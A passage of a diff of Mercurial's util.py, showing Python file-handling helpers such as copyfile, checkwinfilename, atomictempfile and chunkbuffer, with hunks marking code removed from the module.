1795 'xfs',
1796 'zfs',
1797 }
1798
1799 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1800 '''copy a file, preserving mode and optionally other stat info like
1801 atime/mtime
1802
1803 checkambig argument is used with filestat, and is useful only if
1804 destination file is guarded by any lock (e.g. repo.lock or
1805 repo.wlock).
1806
1807 copystat and checkambig should be exclusive.
1808 '''
1809 assert not (copystat and checkambig)
1810 oldstat = None
1811 if os.path.lexists(dest):
1812 if checkambig:
1813 oldstat = checkambig and filestat.frompath(dest)
1814 unlink(dest)
1815 if hardlink:
1816 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1817 # unless we are confident that dest is on a whitelisted filesystem.
1818 try:
1819 fstype = getfstype(os.path.dirname(dest))
1820 except OSError:
1821 fstype = None
1822 if fstype not in _hardlinkfswhitelist:
1823 hardlink = False
1824 if hardlink:
1825 try:
1826 oslink(src, dest)
1827 return
1828 except (IOError, OSError):
1829 pass # fall back to normal copy
1830 if os.path.islink(src):
1831 os.symlink(os.readlink(src), dest)
1832 # copytime is ignored for symlinks, but in general copytime isn't needed
1833 # for them anyway
1834 else:
1835 try:
1836 shutil.copyfile(src, dest)
1837 if copystat:
1838 # copystat also copies mode
1839 shutil.copystat(src, dest)
1840 else:
1841 shutil.copymode(src, dest)
1842 if oldstat and oldstat.stat:
1843 newstat = filestat.frompath(dest)
1844 if newstat.isambig(oldstat):
1845 # stat of copied file is ambiguous to original one
1846 advanced = (
1847 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1848 os.utime(dest, (advanced, advanced))
1849 except shutil.Error as inst:
1850 raise Abort(str(inst))
1851
1852 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1853 """Copy a directory tree using hardlinks if possible."""
1854 num = 0
1855
1856 gettopic = lambda: hardlink and _('linking') or _('copying')
1857
1858 if os.path.isdir(src):
1859 if hardlink is None:
1860 hardlink = (os.stat(src).st_dev ==
1861 os.stat(os.path.dirname(dst)).st_dev)
1862 topic = gettopic()
1863 os.mkdir(dst)
1864 for name, kind in listdir(src):
1865 srcname = os.path.join(src, name)
1866 dstname = os.path.join(dst, name)
1867 def nprog(t, pos):
1868 if pos is not None:
1869 return progress(t, pos + num)
1870 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1871 num += n
1872 else:
1873 if hardlink is None:
1874 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1875 os.stat(os.path.dirname(dst)).st_dev)
1876 topic = gettopic()
1877
1878 if hardlink:
1879 try:
1880 oslink(src, dst)
1881 except (IOError, OSError):
1882 hardlink = False
1883 shutil.copy(src, dst)
1884 else:
1885 shutil.copy(src, dst)
1886 num += 1
1887 progress(topic, num)
1888 progress(topic, None)
1889
1890 return hardlink, num
1891
1892 _winreservednames = {
1893 'con', 'prn', 'aux', 'nul',
1894 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1895 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1896 }
1897 _winreservedchars = ':*?"<>|'
1898 def checkwinfilename(path):
1899 r'''Check that the base-relative path is a valid filename on Windows.
1900 Returns None if the path is ok, or a UI string describing the problem.
1901
1902 >>> checkwinfilename(b"just/a/normal/path")
1903 >>> checkwinfilename(b"foo/bar/con.xml")
1904 "filename contains 'con', which is reserved on Windows"
1905 >>> checkwinfilename(b"foo/con.xml/bar")
1906 "filename contains 'con', which is reserved on Windows"
1907 >>> checkwinfilename(b"foo/bar/xml.con")
1908 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1909 "filename contains 'AUX', which is reserved on Windows"
1910 >>> checkwinfilename(b"foo/bar/bla:.txt")
1911 "filename contains ':', which is reserved on Windows"
1912 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1913 "filename contains '\\x07', which is invalid on Windows"
1914 >>> checkwinfilename(b"foo/bar/bla ")
1915 "filename ends with ' ', which is not allowed on Windows"
1916 >>> checkwinfilename(b"../bar")
1917 >>> checkwinfilename(b"foo\\")
1918 "filename ends with '\\', which is invalid on Windows"
1919 >>> checkwinfilename(b"foo\\/bar")
1920 "directory name ends with '\\', which is invalid on Windows"
1921 '''
1922 if path.endswith('\\'):
1923 return _("filename ends with '\\', which is invalid on Windows")
1924 if '\\/' in path:
1925 return _("directory name ends with '\\', which is invalid on Windows")
1926 for n in path.replace('\\', '/').split('/'):
1927 if not n:
1928 continue
1929 for c in _filenamebytestr(n):
1930 if c in _winreservedchars:
1931 return _("filename contains '%s', which is reserved "
1932 "on Windows") % c
1933 if ord(c) <= 31:
1934 return _("filename contains '%s', which is invalid "
1935 "on Windows") % escapestr(c)
1936 base = n.split('.')[0]
1937 if base and base.lower() in _winreservednames:
1938 return _("filename contains '%s', which is reserved "
1939 "on Windows") % base
1940 t = n[-1:]
1941 if t in '. ' and n not in '..':
1942 return _("filename ends with '%s', which is not allowed "
1943 "on Windows") % t
1944
1945 if pycompat.iswindows:
1946 checkosfilename = checkwinfilename
1947 timer = time.clock
1948 else:
1949 checkosfilename = platform.checkosfilename
1950 timer = time.time
1951
1952 if safehasattr(time, "perf_counter"):
1953 timer = time.perf_counter
1954
1955 def makelock(info, pathname):
1956 """Create a lock file atomically if possible
1957
1958 This may leave a stale lock file if symlink isn't supported and signal
1959 interrupt is enabled.
1960 """
1961 try:
1962 return os.symlink(info, pathname)
1963 except OSError as why:
1964 if why.errno == errno.EEXIST:
1965 raise
1966 except AttributeError: # no symlink in os
1967 pass
1968
1969 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1970 ld = os.open(pathname, flags)
1971 os.write(ld, info)
1972 os.close(ld)
1973
1974 def readlock(pathname):
1975 try:
1976 return os.readlink(pathname)
1977 except OSError as why:
1978 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1979 raise
1980 except AttributeError: # no symlink in os
1981 pass
1982 fp = posixfile(pathname, 'rb')
1983 r = fp.read()
1984 fp.close()
1985 return r
1986
1987 def fstat(fp):
1988 '''stat file object that may not have fileno method.'''
1989 try:
1990 return os.fstat(fp.fileno())
1991 except AttributeError:
1992 return os.stat(fp.name)
1993
1994 # File system features
1995
1996 def fscasesensitive(path):
1997 """
1998 Return true if the given path is on a case-sensitive filesystem
1999
2000 Requires a path (like /foo/.hg) ending with a foldable final
2001 directory component.
2002 """
2003 s1 = os.lstat(path)
2004 d, b = os.path.split(path)
2005 b2 = b.upper()
2006 if b == b2:
2007 b2 = b.lower()
2008 if b == b2:
2009 return True # no evidence against case sensitivity
2010 p2 = os.path.join(d, b2)
2011 try:
2012 s2 = os.lstat(p2)
2013 if s2 == s1:
2014 return False
2015 return True
2016 except OSError:
2017 return True
2018
2019 try:
2020 import re2
2021 _re2 = None
2022 except ImportError:
2023 _re2 = False
2024
2025 class _re(object):
2026 def _checkre2(self):
2027 global _re2
2028 try:
2029 # check if match works, see issue3964
2030 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2031 except ImportError:
2032 _re2 = False
2033
2034 def compile(self, pat, flags=0):
2035 '''Compile a regular expression, using re2 if possible
2036
2037 For best performance, use only re2-compatible regexp features. The
2038 only flags from the re module that are re2-compatible are
2039 IGNORECASE and MULTILINE.'''
2040 if _re2 is None:
2041 self._checkre2()
2042 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2043 if flags & remod.IGNORECASE:
2044 pat = '(?i)' + pat
2045 if flags & remod.MULTILINE:
2046 pat = '(?m)' + pat
2047 try:
2048 return re2.compile(pat)
2049 except re2.error:
2050 pass
2051 return remod.compile(pat, flags)
2052
2053 @propertycache
2054 def escape(self):
2055 '''Return the version of escape corresponding to self.compile.
2056
2057 This is imperfect because whether re2 or re is used for a particular
2058 function depends on the flags, etc, but it's the best we can do.
2059 '''
2060 global _re2
2061 if _re2 is None:
2062 self._checkre2()
2063 if _re2:
2064 return re2.escape
2065 else:
2066 return remod.escape
2067
2068 re = _re()
2069
2070 _fspathcache = {}
2071 def fspath(name, root):
2072 '''Get name in the case stored in the filesystem
2073
2074 The name should be relative to root, and be normcase-ed for efficiency.
2075
2076 Note that this function is unnecessary, and should not be
2077 called, for case-sensitive filesystems (simply because it's expensive).
2078
2079 The root should be normcase-ed, too.
2080 '''
2081 def _makefspathcacheentry(dir):
2082 return dict((normcase(n), n) for n in os.listdir(dir))
2083
2084 seps = pycompat.ossep
2085 if pycompat.osaltsep:
2086 seps = seps + pycompat.osaltsep
2087 # Protect backslashes. This gets silly very quickly.
2088 seps.replace('\\','\\\\')
2089 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2090 dir = os.path.normpath(root)
2091 result = []
2092 for part, sep in pattern.findall(name):
2093 if sep:
2094 result.append(sep)
2095 continue
2096
2097 if dir not in _fspathcache:
2098 _fspathcache[dir] = _makefspathcacheentry(dir)
2099 contents = _fspathcache[dir]
2100
2101 found = contents.get(part)
2102 if not found:
2103 # retry "once per directory" per "dirstate.walk" which
2104 # may take place for each patches of "hg qpush", for example
2105 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2106 found = contents.get(part)
2107
2108 result.append(found or part)
2109 dir = os.path.join(dir, part)
2110
2111 return ''.join(result)
2112
2113 def checknlink(testfile):
2114 '''check whether hardlink count reporting works properly'''
2115
2116 # testfile may be open, so we need a separate file for checking to
2117 # work around issue2543 (or testfile may get lost on Samba shares)
2118 f1, f2, fp = None, None, None
2119 try:
2120 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2121 suffix='1~', dir=os.path.dirname(testfile))
2122 os.close(fd)
2123 f2 = '%s2~' % f1[:-2]
2124
2125 oslink(f1, f2)
2126 # nlinks() may behave differently for files on Windows shares if
2127 # the file is open.
2128 fp = posixfile(f2)
2129 return nlinks(f2) > 1
2130 except OSError:
2131 return False
2132 finally:
2133 if fp is not None:
2134 fp.close()
2135 for f in (f1, f2):
2136 try:
2137 if f is not None:
2138 os.unlink(f)
2139 except OSError:
2140 pass
2141
2142 def endswithsep(path):
2143 '''Check path ends with os.sep or os.altsep.'''
2144 return (path.endswith(pycompat.ossep)
2145 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2146
2147 def splitpath(path):
2148 '''Split path by os.sep.
2149 Note that this function does not use os.altsep because this is
2150 an alternative of simple "xxx.split(os.sep)".
2151 It is recommended to use os.path.normpath() before using this
2152 function if need.'''
2153 return path.split(pycompat.ossep)
2154
2155 def gui():
2156 '''Are we running in a GUI?'''
2157 if pycompat.isdarwin:
2158 if 'SSH_CONNECTION' in encoding.environ:
2159 # handle SSH access to a box where the user is logged in
2160 return False
2161 elif getattr(osutil, 'isgui', None):
2162 # check if a CoreGraphics session is available
2163 return osutil.isgui()
2164 else:
2165 # pure build; use a safe default
2166 return True
2167 else:
2168 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2169
2170 def mktempcopy(name, emptyok=False, createmode=None):
2171 """Create a temporary file with the same contents from name
2172
2173 The permission bits are copied from the original file.
2174
2175 If the temporary file is going to be truncated immediately, you
2176 can use emptyok=True as an optimization.
2177
2178 Returns the name of the temporary file.
2179 """
2180 d, fn = os.path.split(name)
2181 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2182 os.close(fd)
2183 # Temporary files are created with mode 0600, which is usually not
2184 # what we want. If the original file already exists, just copy
2185 # its mode. Otherwise, manually obey umask.
2186 copymode(name, temp, createmode)
2187 if emptyok:
2188 return temp
2189 try:
2190 try:
2191 ifp = posixfile(name, "rb")
2192 except IOError as inst:
2193 if inst.errno == errno.ENOENT:
2194 return temp
2195 if not getattr(inst, 'filename', None):
2196 inst.filename = name
2197 raise
2198 ofp = posixfile(temp, "wb")
2199 for chunk in filechunkiter(ifp):
2200 ofp.write(chunk)
2201 ifp.close()
2202 ofp.close()
2203 except: # re-raises
2204 try:
2205 os.unlink(temp)
2206 except OSError:
2207 pass
2208 raise
2209 return temp
2210
2211 class filestat(object):
2212 """help to exactly detect change of a file
2213
2214 'stat' attribute is result of 'os.stat()' if specified 'path'
2215 exists. Otherwise, it is None. This can avoid preparative
2216 'exists()' examination on client side of this class.
2217 """
2218 def __init__(self, stat):
2219 self.stat = stat
2220
2221 @classmethod
2222 def frompath(cls, path):
2223 try:
2224 stat = os.stat(path)
2225 except OSError as err:
2226 if err.errno != errno.ENOENT:
2227 raise
2228 stat = None
2229 return cls(stat)
2230
2231 @classmethod
2232 def fromfp(cls, fp):
2233 stat = os.fstat(fp.fileno())
2234 return cls(stat)
2235
2236 __hash__ = object.__hash__
2237
2238 def __eq__(self, old):
2239 try:
2240 # if ambiguity between stat of new and old file is
2241 # avoided, comparison of size, ctime and mtime is enough
2242 # to exactly detect change of a file regardless of platform
2243 return (self.stat.st_size == old.stat.st_size and
2244 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2245 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2246 except AttributeError:
2247 pass
2248 try:
2249 return self.stat is None and old.stat is None
2250 except AttributeError:
2251 return False
2252
2253 def isambig(self, old):
2254 """Examine whether new (= self) stat is ambiguous against old one
2255
2256 "S[N]" below means stat of a file at N-th change:
2257
2258 - S[n-1].ctime < S[n].ctime: can detect change of a file
2259 - S[n-1].ctime == S[n].ctime
2260 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2261 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2262 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2263 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2264
2265 Case (*2) above means that a file was changed twice or more at
2266 same time in sec (= S[n-1].ctime), and comparison of timestamp
2267 is ambiguous.
2268
2269 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2270 timestamp is ambiguous".
2271
2272 But advancing mtime only in case (*2) doesn't work as
2273 expected, because naturally advanced S[n].mtime in case (*1)
2274 might be equal to manually advanced S[n-1 or earlier].mtime.
2275
2276 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2277 treated as ambiguous regardless of mtime, to avoid overlooking
2278 by confliction between such mtime.
2279
2280 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2281 S[n].mtime", even if size of a file isn't changed.
2282 """
2283 try:
2284 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2285 except AttributeError:
2286 return False
2287
2288 def avoidambig(self, path, old):
2289 """Change file stat of specified path to avoid ambiguity
2290
2291 'old' should be previous filestat of 'path'.
2292
2293 This skips avoiding ambiguity, if a process doesn't have
2294 appropriate privileges for 'path'. This returns False in this
2295 case.
2296
2297 Otherwise, this returns True, as "ambiguity is avoided".
2298 """
2299 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2300 try:
2301 os.utime(path, (advanced, advanced))
2302 except OSError as inst:
2303 if inst.errno == errno.EPERM:
2304 # utime() on the file created by another user causes EPERM,
2305 # if a process doesn't have appropriate privileges
2306 return False
2307 raise
2308 return True
2309
2310 def __ne__(self, other):
2311 return not self == other
2312
2313 class atomictempfile(object):
2314 '''writable file object that atomically updates a file
2315
2316 All writes will go to a temporary copy of the original file. Call
2317 close() when you are done writing, and atomictempfile will rename
2318 the temporary copy to the original name, making the changes
2319 visible. If the object is destroyed without being closed, all your
2320 writes are discarded.
2321
2322 checkambig argument of constructor is used with filestat, and is
2323 useful only if target file is guarded by any lock (e.g. repo.lock
2324 or repo.wlock).
2325 '''
2326 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2327 self.__name = name # permanent name
2328 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2329 createmode=createmode)
2330 self._fp = posixfile(self._tempname, mode)
2331 self._checkambig = checkambig
2332
2333 # delegated methods
2334 self.read = self._fp.read
2335 self.write = self._fp.write
2336 self.seek = self._fp.seek
2337 self.tell = self._fp.tell
2338 self.fileno = self._fp.fileno
2339
2340 def close(self):
2341 if not self._fp.closed:
2342 self._fp.close()
2343 filename = localpath(self.__name)
2344 oldstat = self._checkambig and filestat.frompath(filename)
2345 if oldstat and oldstat.stat:
2346 rename(self._tempname, filename)
2347 newstat = filestat.frompath(filename)
2348 if newstat.isambig(oldstat):
2349 # stat of changed file is ambiguous to original one
2350 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2351 os.utime(filename, (advanced, advanced))
2352 else:
2353 rename(self._tempname, filename)
2354
2355 def discard(self):
2356 if not self._fp.closed:
2357 try:
2358 os.unlink(self._tempname)
2359 except OSError:
2360 pass
2361 self._fp.close()
2362
2363 def __del__(self):
2364 if safehasattr(self, '_fp'): # constructor actually did something
2365 self.discard()
2366
2367 def __enter__(self):
2368 return self
2369
2370 def __exit__(self, exctype, excvalue, traceback):
2371 if exctype is not None:
2372 self.discard()
2373 else:
2374 self.close()
2375
2376 def unlinkpath(f, ignoremissing=False):
2377 """unlink and remove the directory if it is empty"""
2378 if ignoremissing:
2379 tryunlink(f)
2380 else:
2381 unlink(f)
2382 # try removing directories that might now be empty
2383 try:
2384 removedirs(os.path.dirname(f))
2385 except OSError:
2386 pass
2387
2388 def tryunlink(f):
2389 """Attempt to remove a file, ignoring ENOENT errors."""
2390 try:
2391 unlink(f)
2392 except OSError as e:
2393 if e.errno != errno.ENOENT:
2394 raise
2395
2396 def makedirs(name, mode=None, notindexed=False):
2397 """recursive directory creation with parent mode inheritance
2398
2399 Newly created directories are marked as "not to be indexed by
2400 the content indexing service", if ``notindexed`` is specified
2401 for "write" mode access.
2402 """
2403 try:
2404 makedir(name, notindexed)
2405 except OSError as err:
2406 if err.errno == errno.EEXIST:
2407 return
2408 if err.errno != errno.ENOENT or not name:
2409 raise
2410 parent = os.path.dirname(os.path.abspath(name))
2411 if parent == name:
2412 raise
2413 makedirs(parent, mode, notindexed)
2414 try:
2415 makedir(name, notindexed)
2416 except OSError as err:
2417 # Catch EEXIST to handle races
2418 if err.errno == errno.EEXIST:
2419 return
2420 raise
2421 if mode is not None:
2422 os.chmod(name, mode)
2423
2424 def readfile(path):
2425 with open(path, 'rb') as fp:
2426 return fp.read()
2427
2428 def writefile(path, text):
2429 with open(path, 'wb') as fp:
2430 fp.write(text)
2431
2432 def appendfile(path, text):
2433 with open(path, 'ab') as fp:
2434 fp.write(text)
2435
2436 class chunkbuffer(object):
2437 """Allow arbitrary sized chunks of data to be efficiently read from an
2438 iterator over chunks of arbitrary size."""
2439
2440 def __init__(self, in_iter):
2441 """in_iter is the iterator that's iterating over the input chunks."""
2442 def splitbig(chunks):
2443 for chunk in chunks:
2444 if len(chunk) > 2**20:
2445 pos = 0
2446 while pos < len(chunk):
2447 end = pos + 2 ** 18
2448 yield chunk[pos:end]
2449 pos = end
2450 else:
2451 yield chunk
2452 self.iter = splitbig(in_iter)
2453 self._queue = collections.deque()
2454 self._chunkoffset = 0
2455
2456 def read(self, l=None):
2457 """Read L bytes of data from the iterator of chunks of data.
2458 Returns less than L bytes if the iterator runs dry.
2459
2460 If size parameter is omitted, read everything"""
2461 if l is None:
2462 return ''.join(self.iter)
2463
2464 left = l
2465 buf = []
2466 queue = self._queue
2467 while left > 0:
2468 # refill the queue
2469 if not queue:
2470 target = 2**18
2471 for chunk in self.iter:
2472 queue.append(chunk)
2473 target -= len(chunk)
2474 if target <= 0:
2475 break
2476 if not queue:
2477 break
2478
2479 # The easy way to do this would be to queue.popleft(), modify the
2480 # chunk (if necessary), then queue.appendleft(). However, for cases
2481 # where we read partial chunk content, this incurs 2 dequeue
2482 # mutations and creates a new str for the remaining chunk in the
2483 # queue. Our code below avoids this overhead.
2484
2485 chunk = queue[0]
2486 chunkl = len(chunk)
2487 offset = self._chunkoffset
2488
2489 # Use full chunk.
2490 if offset == 0 and left >= chunkl:
2491 left -= chunkl
2492 queue.popleft()
2493 buf.append(chunk)
2494 # self._chunkoffset remains at 0.
2495 continue
2496
2497 chunkremaining = chunkl - offset
2498
2499 # Use all of unconsumed part of chunk.
2500 if left >= chunkremaining:
2501 left -= chunkremaining
2502 queue.popleft()
2503 # offset == 0 is enabled by block above, so this won't merely
2504 # copy via ``chunk[0:]``.
2505 buf.append(chunk[offset:])
2506 self._chunkoffset = 0
2507
2508 # Partial chunk needed.
2509 else:
2510 buf.append(chunk[offset:offset + left])
2511 self._chunkoffset += left
2512 left -= chunkremaining
2513
2514 return ''.join(buf)
2515
2516 def filechunkiter(f, size=131072, limit=None):
2517 """Create a generator that produces the data in the file size
2518 (default 131072) bytes at a time, up to optional limit (default is
2519 to read all data). Chunks may be less than size bytes if the
2520 chunk is the last chunk in the file, or the file is a socket or
2521 some other type of file that sometimes reads less data than is
2522 requested."""
2523 assert size >= 0
2524 assert limit is None or limit >= 0
2525 while True:
2526 if limit is None:
2527 nbytes = size
2528 else:
2529 nbytes = min(limit, size)
2530 s = nbytes and f.read(nbytes)
2531 if not s:
2532 break
2533 if limit:
2534 limit -= len(s)
2535 yield s
2536
2537 class cappedreader(object):
2538 """A file object proxy that allows reading up to N bytes.
2539
2540 Given a source file object, instances of this type allow reading up to
2541 N bytes from that source file object. Attempts to read past the allowed
2542 limit are treated as EOF.
2543
2544 It is assumed that I/O is not performed on the original file object
2545 in addition to I/O that is performed by this instance. If there is,
2546 state tracking will get out of sync and unexpected results will ensue.
2547 """
2548 def __init__(self, fh, limit):
2549 """Allow reading up to <limit> bytes from <fh>."""
2550 self._fh = fh
2551 self._left = limit
2552
2553 def read(self, n=-1):
2554 if not self._left:
2555 return b''
2556
2557 if n < 0:
2558 n = self._left
2559
2560 data = self._fh.read(min(n, self._left))
2561 self._left -= len(data)
2562 assert self._left >= 0
2563
2564 return data
2565
2566 def readinto(self, b):
2567 res = self.read(len(b))
2568 if res is None:
2569 return None
2570
2571 b[0:len(res)] = res
2572 return len(res)
2573
2574 def stringmatcher(pattern, casesensitive=True):
42 def stringmatcher(pattern, casesensitive=True):
2575 """
43 """
2576 accepts a string, possibly starting with 're:' or 'literal:' prefix.
44 accepts a string, possibly starting with 're:' or 'literal:' prefix.
@@ -2667,90 +135,6 b' def ellipsis(text, maxlength=400):'
2667 """Trim string to at most maxlength (default: 400) columns in display."""
135 """Trim string to at most maxlength (default: 400) columns in display."""
2668 return encoding.trim(text, maxlength, ellipsis='...')
136 return encoding.trim(text, maxlength, ellipsis='...')
2669
137
2670 def unitcountfn(*unittable):
2671 '''return a function that renders a readable count of some quantity'''
2672
2673 def go(count):
2674 for multiplier, divisor, format in unittable:
2675 if abs(count) >= divisor * multiplier:
2676 return format % (count / float(divisor))
2677 return unittable[-1][2] % count
2678
2679 return go
2680
2681 def processlinerange(fromline, toline):
2682 """Check that linerange <fromline>:<toline> makes sense and return a
2683 0-based range.
2684
2685 >>> processlinerange(10, 20)
2686 (9, 20)
2687 >>> processlinerange(2, 1)
2688 Traceback (most recent call last):
2689 ...
2690 ParseError: line range must be positive
2691 >>> processlinerange(0, 5)
2692 Traceback (most recent call last):
2693 ...
2694 ParseError: fromline must be strictly positive
2695 """
2696 if toline - fromline < 0:
2697 raise error.ParseError(_("line range must be positive"))
2698 if fromline < 1:
2699 raise error.ParseError(_("fromline must be strictly positive"))
2700 return fromline - 1, toline
2701
2702 bytecount = unitcountfn(
2703 (100, 1 << 30, _('%.0f GB')),
2704 (10, 1 << 30, _('%.1f GB')),
2705 (1, 1 << 30, _('%.2f GB')),
2706 (100, 1 << 20, _('%.0f MB')),
2707 (10, 1 << 20, _('%.1f MB')),
2708 (1, 1 << 20, _('%.2f MB')),
2709 (100, 1 << 10, _('%.0f KB')),
2710 (10, 1 << 10, _('%.1f KB')),
2711 (1, 1 << 10, _('%.2f KB')),
2712 (1, 1, _('%.0f bytes')),
2713 )
2714
2715 class transformingwriter(object):
2716 """Writable file wrapper to transform data by function"""
2717
2718 def __init__(self, fp, encode):
2719 self._fp = fp
2720 self._encode = encode
2721
2722 def close(self):
2723 self._fp.close()
2724
2725 def flush(self):
2726 self._fp.flush()
2727
2728 def write(self, data):
2729 return self._fp.write(self._encode(data))
2730
2731 # Matches a single EOL which can either be a CRLF where repeated CR
2732 # are removed or a LF. We do not care about old Macintosh files, so a
2733 # stray CR is an error.
2734 _eolre = remod.compile(br'\r*\n')
2735
2736 def tolf(s):
2737 return _eolre.sub('\n', s)
2738
2739 def tocrlf(s):
2740 return _eolre.sub('\r\n', s)
2741
2742 def _crlfwriter(fp):
2743 return transformingwriter(fp, tocrlf)
2744
2745 if pycompat.oslinesep == '\r\n':
2746 tonativeeol = tocrlf
2747 fromnativeeol = tolf
2748 nativeeolwriter = _crlfwriter
2749 else:
2750 tonativeeol = pycompat.identity
2751 fromnativeeol = pycompat.identity
2752 nativeeolwriter = pycompat.identity
2753
2754 def escapestr(s):
138 def escapestr(s):
2755 # call underlying function of s.encode('string_escape') directly for
139 # call underlying function of s.encode('string_escape') directly for
2756 # Python 3 compatibility
140 # Python 3 compatibility
@@ -2892,178 +276,6 b" def wrap(line, width, initindent='', han"
2892 subsequent_indent=hangindent)
276 subsequent_indent=hangindent)
2893 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
277 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2894
278
2895 if (pyplatform.python_implementation() == 'CPython' and
2896 sys.version_info < (3, 0)):
2897 # There is an issue in CPython that some IO methods do not handle EINTR
2898 # correctly. The following table shows what CPython version (and functions)
2899 # are affected (buggy: has the EINTR bug, okay: otherwise):
2900 #
2901 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2902 # --------------------------------------------------
2903 # fp.__iter__ | buggy | buggy | okay
2904 # fp.read* | buggy | okay [1] | okay
2905 #
2906 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2907 #
2908 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2909 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2910 #
2911 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2912 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2913 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2914 # fp.__iter__ but not other fp.read* methods.
2915 #
2916 # On modern systems like Linux, the "read" syscall cannot be interrupted
2917 # when reading "fast" files like on-disk files. So the EINTR issue only
2918 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2919 # files approximately as "fast" files and use the fast (unsafe) code path,
2920 # to minimize the performance impact.
2921 if sys.version_info >= (2, 7, 4):
2922 # fp.readline deals with EINTR correctly, use it as a workaround.
2923 def _safeiterfile(fp):
2924 return iter(fp.readline, '')
2925 else:
2926 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2927 # note: this may block longer than necessary because of bufsize.
2928 def _safeiterfile(fp, bufsize=4096):
2929 fd = fp.fileno()
2930 line = ''
2931 while True:
2932 try:
2933 buf = os.read(fd, bufsize)
2934 except OSError as ex:
2935 # os.read only raises EINTR before any data is read
2936 if ex.errno == errno.EINTR:
2937 continue
2938 else:
2939 raise
2940 line += buf
2941 if '\n' in buf:
2942 splitted = line.splitlines(True)
2943 line = ''
2944 for l in splitted:
2945 if l[-1] == '\n':
2946 yield l
2947 else:
2948 line = l
2949 if not buf:
2950 break
2951 if line:
2952 yield line
2953
2954 def iterfile(fp):
2955 fastpath = True
2956 if type(fp) is file:
2957 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2958 if fastpath:
2959 return fp
2960 else:
2961 return _safeiterfile(fp)
2962 else:
2963 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2964 def iterfile(fp):
2965 return fp
2966
2967 def iterlines(iterator):
2968 for chunk in iterator:
2969 for line in chunk.splitlines():
2970 yield line
2971
2972 def expandpath(path):
2973 return os.path.expanduser(os.path.expandvars(path))
2974
2975 def hgcmd():
2976 """Return the command used to execute current hg
2977
2978 This is different from hgexecutable() because on Windows we want
2979 to avoid things opening new shell windows like batch files, so we
2980 get either the python call or current executable.
2981 """
2982 if mainfrozen():
2983 if getattr(sys, 'frozen', None) == 'macosx_app':
2984 # Env variable set by py2app
2985 return [encoding.environ['EXECUTABLEPATH']]
2986 else:
2987 return [pycompat.sysexecutable]
2988 return gethgcmd()
2989
2990 def rundetached(args, condfn):
2991 """Execute the argument list in a detached process.
2992
2993 condfn is a callable which is called repeatedly and should return
2994 True once the child process is known to have started successfully.
2995 At this point, the child process PID is returned. If the child
2996 process fails to start or finishes before condfn() evaluates to
2997 True, return -1.
2998 """
2999 # Windows case is easier because the child process is either
3000 # successfully starting and validating the condition or exiting
3001 # on failure. We just poll on its PID. On Unix, if the child
3002 # process fails to start, it will be left in a zombie state until
3003 # the parent wait on it, which we cannot do since we expect a long
3004 # running process on success. Instead we listen for SIGCHLD telling
3005 # us our child process terminated.
3006 terminated = set()
3007 def handler(signum, frame):
3008 terminated.add(os.wait())
3009 prevhandler = None
3010 SIGCHLD = getattr(signal, 'SIGCHLD', None)
3011 if SIGCHLD is not None:
3012 prevhandler = signal.signal(SIGCHLD, handler)
3013 try:
3014 pid = spawndetached(args)
3015 while not condfn():
3016 if ((pid in terminated or not testpid(pid))
3017 and not condfn()):
3018 return -1
3019 time.sleep(0.1)
3020 return pid
3021 finally:
3022 if prevhandler is not None:
3023 signal.signal(signal.SIGCHLD, prevhandler)
3024
3025 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
3026 """Return the result of interpolating items in the mapping into string s.
3027
3028 prefix is a single character string, or a two character string with
3029 a backslash as the first character if the prefix needs to be escaped in
3030 a regular expression.
3031
3032 fn is an optional function that will be applied to the replacement text
3033 just before replacement.
3034
3035 escape_prefix is an optional flag that allows using doubled prefix for
3036 its escaping.
3037 """
